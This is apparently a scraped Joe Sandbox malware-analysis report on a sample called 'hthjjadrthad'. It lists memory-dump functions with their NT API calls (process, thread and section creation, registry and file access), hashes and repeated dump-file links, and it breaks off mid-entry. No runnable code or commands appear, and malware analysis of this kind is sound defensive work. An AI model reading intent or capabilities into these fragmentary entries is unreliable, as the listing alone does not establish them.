Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: X>~0$yz$)L
API String ID: 0-3294289097
Opcode ID: d5d3edfd24efb1a6bc8020bed25387d0d056a85c2b95323ed1a7f3b96fd15208
Instruction ID: 4458999e196e2ddb4e7ab04c947c60fafd49757d87eef6ef2409a5383478a403
Opcode Fuzzy Hash: d5d3edfd24efb1a6bc8020bed25387d0d056a85c2b95323ed1a7f3b96fd15208
Instruction Fuzzy Hash: 3D7113B1A043589FDB10CFA9DC81BAFBBB1FB85310F14816DE555AF381C7B498068B95

Function 004B5753 Relevance: 4.0, Strings: 3, Instructions: 220COMMON

Download Yara Rule

Strings

+, xrefs: 004B59B1
6543, xrefs: 004B5775
?ZK, xrefs: 004B5A39

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: +$6543$?ZK
API String ID: 0-3934561054
Opcode ID: 08c05d9e0b0be300d7a4d9da128d742f844a0c0c100848fc6ca2028e125d8ac4
Instruction ID: eff3ed8688f8a840d7d4f995d2b2b718f81a17795ad373ffa39d19fb108f4acd
Opcode Fuzzy Hash: 08c05d9e0b0be300d7a4d9da128d742f844a0c0c100848fc6ca2028e125d8ac4
Instruction Fuzzy Hash: DD512675B5C7808BE3398B2498D67ABB786ABD2314F58463DC1C51B252CB7948028B9B

Function 0054A36C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtQueryDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0054A3C4

Strings

-v, xrefs: 0054A3C4

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: DirectoryFileQuery
String ID: -v
API String ID: 3295332484-3740913740
Opcode ID: dac7a9facf787bf862374a17fc74afb44ad9c0343420e5b625ca34cd67103f79
Instruction ID: 84ab8ed3e29f6e89884bbcba7e85decb07f9c1447d3cd3eea3a33e36cd6c844b
Opcode Fuzzy Hash: dac7a9facf787bf862374a17fc74afb44ad9c0343420e5b625ca34cd67103f79
Instruction Fuzzy Hash: 1F01ACB62452997F9B00CE9ADCC4DEBBFBDFB9E254B485445FA5893202C230AD51C770

Function 0054A180 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeKey.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0054A1D0

Strings

<v, xrefs: 0054A1D0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ChangeNotify
String ID: <v
API String ID: 3893256919-2058100141
Opcode ID: 9601fe374df379b53e3a3c772779b09a34b2a995aad4eaeb273ebaf216cf5104
Instruction ID: b05ab10913a7063e4935d1c61de6be0d231fa0d8edaf632816d599d182e6fd10
Opcode Fuzzy Hash: 9601fe374df379b53e3a3c772779b09a34b2a995aad4eaeb273ebaf216cf5104
Instruction Fuzzy Hash: F401CDF62451897F9B10CE9ADCC5DEBBF6DFB9E254B485045BA5883201C270AC50C7B0

Function 0054A48C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtLockFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0054A4DC

Strings

0;v, xrefs: 0054A4DC

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileLock
String ID: 0;v
API String ID: 3169042693-3411723046
Opcode ID: e75e9659c0ac9b930d0441c4a16c90a3bb58be81898d053b01fd50b38968280f
Instruction ID: 702df282331c0cf17586e29cbb04292750dec7e59ed5f5e8ca3c60b889afa4a1
Opcode Fuzzy Hash: e75e9659c0ac9b930d0441c4a16c90a3bb58be81898d053b01fd50b38968280f
Instruction Fuzzy Hash: 6901E6B61451897FDB10CEAADCC8DEBBF6CFB5E254B485005FA5887202C170AC50C7B0

Function 00549B50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00549BA0

Strings

*v, xrefs: 00549BA0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ControlDeviceFile
String ID: *v
API String ID: 3512290074-1826163804
Opcode ID: 4c06810abd9cadc4a88282a498c1ddbec624ee87e20d01745b6470dda923aff2
Instruction ID: 8c698a5614afe74a42f31975aff51ed6de99c88783274b8a748cfa4690251655
Opcode Fuzzy Hash: 4c06810abd9cadc4a88282a498c1ddbec624ee87e20d01745b6470dda923aff2
Instruction Fuzzy Hash: 97017DB6204259BF9B10CF8ADCC5DEBBBACFB9D764B444005BB1897211C230AC50D7B1

Function 00549E6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtFsControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00549EBC

Strings

.v, xrefs: 00549EBC

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ControlFile
String ID: .v
API String ID: 1795486800-1619843407
Opcode ID: eba29350fd9621c0db71a9bc5a911afe0863f23f3000aca80a8d81056b5c7586
Instruction ID: bd84fae4c462aa94e7b156c22e11870180b2c56d945b81a0887d69233b63fe5f
Opcode Fuzzy Hash: eba29350fd9621c0db71a9bc5a911afe0863f23f3000aca80a8d81056b5c7586
Instruction Fuzzy Hash: 550191B6204259BF9B10CE8ADCC5DEBBB6CFB8D794B448415BB1897212C270AC50CBB1

Function 00549CA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44nativeCOMMON

Download Yara Rule

APIs

NtCreateProcessEx.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00549CE8

Strings

`/v, xrefs: 00549CE8

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateProcess
String ID: `/v
API String ID: 963392458-1387592339
Opcode ID: 903ddeb869b0c220db985d46dda405a73de47aad384720a6397dba8ab809c02f
Instruction ID: 2cafb1545359a79b337cf6cdb9f60631e7ced43c82282d53216a5316029600eb
Opcode Fuzzy Hash: 903ddeb869b0c220db985d46dda405a73de47aad384720a6397dba8ab809c02f
Instruction Fuzzy Hash: 4DF0B2B6104259BFDB10CE8ADCC9DEB7B6CFB8D7A4B448405BB1987251C270AD50C7B0

Function 00549BE4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativethreadCOMMON

Download Yara Rule

APIs

NtCreateThread.NTDLL(?,?,?,?,?,?,?,?), ref: 00549C24

Strings

p/v, xrefs: 00549C24

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateThread
String ID: p/v
API String ID: 2422867632-1365440520
Opcode ID: a1e99a58a5fa2ae4c341604592d1a0a70bfd4aa995d573d6c9adfbb4cfcd1452
Instruction ID: a62e73b11429a99f21bdb8d358059e14dbd3936d3f7c3b59fa664c68a53c7455
Opcode Fuzzy Hash: a1e99a58a5fa2ae4c341604592d1a0a70bfd4aa995d573d6c9adfbb4cfcd1452
Instruction Fuzzy Hash: 73F0F4F61051487F9B10DE96DCC9DE77FADEB8E6A4B488415FA5887101C270AD50C7B0

Function 00549C50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtCreateProcess.NTDLL(?,?,?,?,?,?,?,?), ref: 00549C90

Strings

6v, xrefs: 00549C90

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateProcess
String ID: 6v
API String ID: 963392458-807142668
Opcode ID: fac8a05cb04c2b99a0dc98e18d9035a9bc9da3a7acc6be156d1acf9747bc2219
Instruction ID: f2bf1f5905e036665dc8b34a8975b679114ad5b3737a311d1b87f011ab2228b6
Opcode Fuzzy Hash: fac8a05cb04c2b99a0dc98e18d9035a9bc9da3a7acc6be156d1acf9747bc2219
Instruction Fuzzy Hash: 2EF0D0B6100249BF9B10DE8ADCC9DE77FADFB8D7A4B444405BA0887151C230AC50D7B0

Function 00549F04 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtAccessCheck.NTDLL(?,?,?,?,?,?,?,?), ref: 00549F44

Strings

p*v, xrefs: 00549F44

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: AccessCheck
String ID: p*v
API String ID: 3492747997-2575464312
Opcode ID: 2adddfc1483dc45afbd0e80a6983c1ccf25aa973ac55fdb05d2f296613516faf
Instruction ID: ff820ec0004cc98c991ba7c3885e57f1f2ae6ba9f6b198f9420d3fd34379f56a
Opcode Fuzzy Hash: 2adddfc1483dc45afbd0e80a6983c1ccf25aa973ac55fdb05d2f296613516faf
Instruction Fuzzy Hash: 5FF0DAB6101259BF9710CE8ADCC9DEB7F6DFB8D7A4B448005FA0887201C270AC50C7B1

Function 0054A028 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateKey.NTDLL(?,?,?,?,?,?,?), ref: 0054A060

Strings

`,v, xrefs: 0054A060

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Create
String ID: `,v
API String ID: 2289755597-353665091
Opcode ID: 2859f54f07336c7f4ac954f0a6a603b11994956773fa231e2558c6903b712c68
Instruction ID: f76f929433a0c48097f6ff4fd6d22bca55be13b18a2d40b09356317f6c9c90bb
Opcode Fuzzy Hash: 2859f54f07336c7f4ac954f0a6a603b11994956773fa231e2558c6903b712c68
Instruction Fuzzy Hash: C2F01CBA100208BFA7108E96EC88DEB7F6DEBC97A4F04C009BA1887101C270AD40C7B1

Function 0054A3F4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,?,?,?,?,?,?), ref: 0054A42C

Strings

P.v, xrefs: 0054A42C

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: DuplicateObject
String ID: P.v
API String ID: 3677547684-1806619790
Opcode ID: a96e9d758d54576687bc1934970da17869b4db432f2614aee40b1710ec3ec442
Instruction ID: 6cdd8a3f067bdca7ee64267d5a252d2f3067e39edb366a5b34547d58fb79039b
Opcode Fuzzy Hash: a96e9d758d54576687bc1934970da17869b4db432f2614aee40b1710ec3ec442
Instruction Fuzzy Hash: 23F030B62002187FEB10DE86DC8CDEB7F6DFB8A7A4B448015FA0987101C270AD00C7B0

Function 0054A5EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,?,?,?,?,?,?), ref: 0054A624

Strings

0/v, xrefs: 0054A624

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateSection
String ID: 0/v
API String ID: 2449625523-1580921444
Opcode ID: 835b10584b005257c01d6d16cf30fcb25b337f633b8205f980353bed648920ba
Instruction ID: 06d031e395eb06d09f6b8edd604cecc3cfb12fa30e040124baca9dadb6fde3f2
Opcode Fuzzy Hash: 835b10584b005257c01d6d16cf30fcb25b337f633b8205f980353bed648920ba
Instruction Fuzzy Hash: 6FF01CB65002587FA7108F9ADC89DE77F6DEB897A4B448405F60887102D270AC00C7B0

Function 00549FE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryValueKey.NTDLL(?,?,?,?,?,?), ref: 0054A018

Strings

+v, xrefs: 0054A018

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: QueryValue
String ID: +v
API String ID: 3660427363-1371088364
Opcode ID: 0d77676db834752c2ddfcede77aa844634e0b18a21e7bd7b72bdfae59167f776
Instruction ID: 18a314067380f3e3ad88ca429a1afb24c88c55a1fe632c689c64c3540045d31e
Opcode Fuzzy Hash: 0d77676db834752c2ddfcede77aa844634e0b18a21e7bd7b72bdfae59167f776
Instruction Fuzzy Hash: 7AE012B61051587FA7109B56EC4CDFB7FADEBD97A4B14C01AF50987141D171AC40C7B1

Function 0054A338 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(?,?,?,?,?), ref: 0054A35F

Strings

p+v, xrefs: 0054A35F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ObjectQuery
String ID: p+v
API String ID: 2748340528-2766298824
Opcode ID: 360e8953e65bd4c6d4be2e4040ea523d4b9f10121505cb3ad4ac1b738c230f49
Instruction ID: 074908b3349775d8de0bd686b0df485cbf828687985c2a6b37a4879d58bca167
Opcode Fuzzy Hash: 360e8953e65bd4c6d4be2e4040ea523d4b9f10121505cb3ad4ac1b738c230f49
Instruction Fuzzy Hash: 73E0C2B60011547ED7305B5AEC0CEE77F6DEBE67B1B08841AB408D3110D270AD00C2B0

Function 0054A43C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 0054A463

Strings

/v, xrefs: 0054A463

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileInformationQueryVolume
String ID: /v
API String ID: 634242254-1575809279
Opcode ID: 3e33a43e344d19d01ac8fa399da153ee988c809e78974aacffb0669a9db2d751
Instruction ID: cd4d61fd5c94418bc221db1ccb31de15c724f62944f56b175d05ab2bc253162a
Opcode Fuzzy Hash: 3e33a43e344d19d01ac8fa399da153ee988c809e78974aacffb0669a9db2d751
Instruction Fuzzy Hash: 72E0ECA91451547A9760579BDC0DEEB7F6DDBC67B0B08802AB508A3111D2B1AE44C2B1

Function 0054A4EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtUnlockFile.NTDLL(?,?,?,?,?), ref: 0054A513

Strings

0Gv, xrefs: 0054A513

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileUnlock
String ID: 0Gv
API String ID: 45017762-4151889640
Opcode ID: 73a614dcfbc49e622ad4ea440e6a82046f33b697bb1006743df819b9e27012bf
Instruction ID: 3a674350649928b3abc19c32a326cf04940af9d36b6c18e51c41aa9430f5cd41
Opcode Fuzzy Hash: 73a614dcfbc49e622ad4ea440e6a82046f33b697bb1006743df819b9e27012bf
Instruction Fuzzy Hash: 5EE0ECB9544154BAEB505B5ADC0CDF77F6DEBC67B5B18901AB41893110D660AD40C2B1

Function 00549DE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySecurityObject.NTDLL(?,?,?,?,?), ref: 00549E07

Strings

@@v, xrefs: 00549E07

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ObjectQuerySecurity
String ID: @@v
API String ID: 718582247-1316626233
Opcode ID: f4a2de9de3bf7ec362a23435083dba7f469001c082a4f32374bc4f6b86d7ab38
Instruction ID: 0d36b9055fc12f6ab856ec5bbd764ea988c3fe5d8a1db21f8e8c1a91054168d2
